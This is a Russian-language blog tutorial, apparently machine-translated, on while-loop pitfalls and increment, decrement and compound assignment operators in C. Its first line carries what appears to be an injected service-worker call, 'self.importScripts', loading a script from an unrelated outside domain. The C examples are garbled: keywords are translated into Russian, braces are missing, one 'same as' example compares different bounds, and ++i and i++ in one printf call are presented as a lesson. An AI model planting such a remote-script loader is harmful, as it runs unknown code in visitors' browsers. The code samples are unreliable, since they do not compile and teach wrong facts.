google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

цикл while в C - часть 2

В последнем уроке мы узнали о циклах while. Петли используются очень часто при написании больших программ. И в последнем уроке мы изучили только основы структуры управления циклами. В этом уроке я не буду писать никаких программ. Вместо этого я расскажу вам о некоторых подсказках и ловушках использования цикла while в C.
Если вы впервые пишете какую-либо программу, используя цикл while. Тогда вполне возможно, что вы получите много ошибок. Этот учебник в основном предназначен для того, чтобы вы чувствовали себя уверенно при написании структуры управления циклами в программах.

Советы и ловушки во время цикла

1. Как я уже говорил ранее, общая форма цикла while - это.
инициализировать счетчик цикла; 
while (условие) 
{сделай это; 
  и это;  
  счетчик приращения цикла; 
}
Мы можем добавить любое допустимое условие или выражение с ключевым словом while. Любое выражение, которое оценивается как ненулевое, называется истинным, а выражение, которое оценивает ноль, считается ложным.
2. Мы можем использовать логические операторы для описания условия. Это прекрасно для всех петель.
while (x <= 60)  
while (x> = 50 && y <= 75)
3. Если вы хотите выполнить только один оператор в цикле while, вы также можете удалить фигурные скобки {}. Область действия цикла while по умолчанию на один оператор ниже ключевого слова while.
в то время как (х <= 20) 
я = я + 1;
такой же как
while (x <= 10) 
{   
i = i + 1; 
}
Однако, если вы хотите выполнить несколько операторов в цикле while, обязательно использовать фигурные скобки.
4. Не забывайте увеличивать или уменьшать счетчик цикла. В противном случае это приведет к бесконечному циклу. Одна распространенная ошибка приведена ниже.
main () 

int i = 1; 
while (i <= 10) 

printf («% d», i); 

}
Приведенная выше программа приведет к бесконечному циклу, потому что мы не меняем значение счетчика цикла. Условие всегда верно, так как значение счетчика цикла остается тем же самым, и цикл будет выполняться бесконечно.
Исправление вышеуказанного кода приведено ниже.
main () 

int i = 1; 
while (i <= 10) 

printf («% d», i); 
I = I + 1; 

}
5. Никогда не пишите точку с запятой после ключевого слова while. Это приведет к бесконечному циклу. Общий код ошибки приведен ниже.
main () 

int i = 1; 
в то время как (я <= 10); 

printf («% d», i); 
I = I + 1; 

}
Оформить заказ Я дал точку с запятой после ключевого слова while. Так что не делайте эту ошибку.

Еще несколько операторов

Оператор пост-инкремента / декремента

Этот оператор обычно используется с циклами. Вы, должно быть, заметили, что большую часть времени мы используем выражение i = i + 1 для увеличения счетчика цикла. Чтобы сделать это немного проще, мы можем использовать оператор пост-увеличения и уменьшения.
Так что i = i + 1 - это то же самое, что и i ++ (оператор постинкрементного увеличения).
и i = i-1 - это то же самое, что и i— (оператор после декремента).

Оператор предварительного увеличения / уменьшения

Этот оператор похож на пост. Но с небольшой разницей. Этот оператор отдает приоритет инкриминированию в функции.
i = i + 1 - это то же самое, что и ++ i (оператор предварительного приращения).
i = i-1 аналогично –i (оператор предварительного декремента).
Звучит запутанно? Поскольку оба одинаковы.
Хорошо, напишите одну программу с функцией ниже, чтобы понять разницу между ними.
I = 1; 
J = 10; 
prinf («% d% dn», ++ i, i ++); 
prinf («% d% dn», - i, i–); 
prinf («% d% dn», ++ j, j ++); 
принф («% d% dn», - j, j–);

Составной оператор присваивания

Это также похоже на вышеуказанные операторы. Лучший способ понять их - это синтаксис.
i = i + 5 - это то же самое, что i + = 5.
Или же
i = i-5 такой же, как i- = 5.
Или же
я = я * 6 такой же, как я * = 6.
Этот оператор может использоваться с арифметическими операторами, такими как +, -, *, / и%.

Комментариев нет:

Отправить комментарий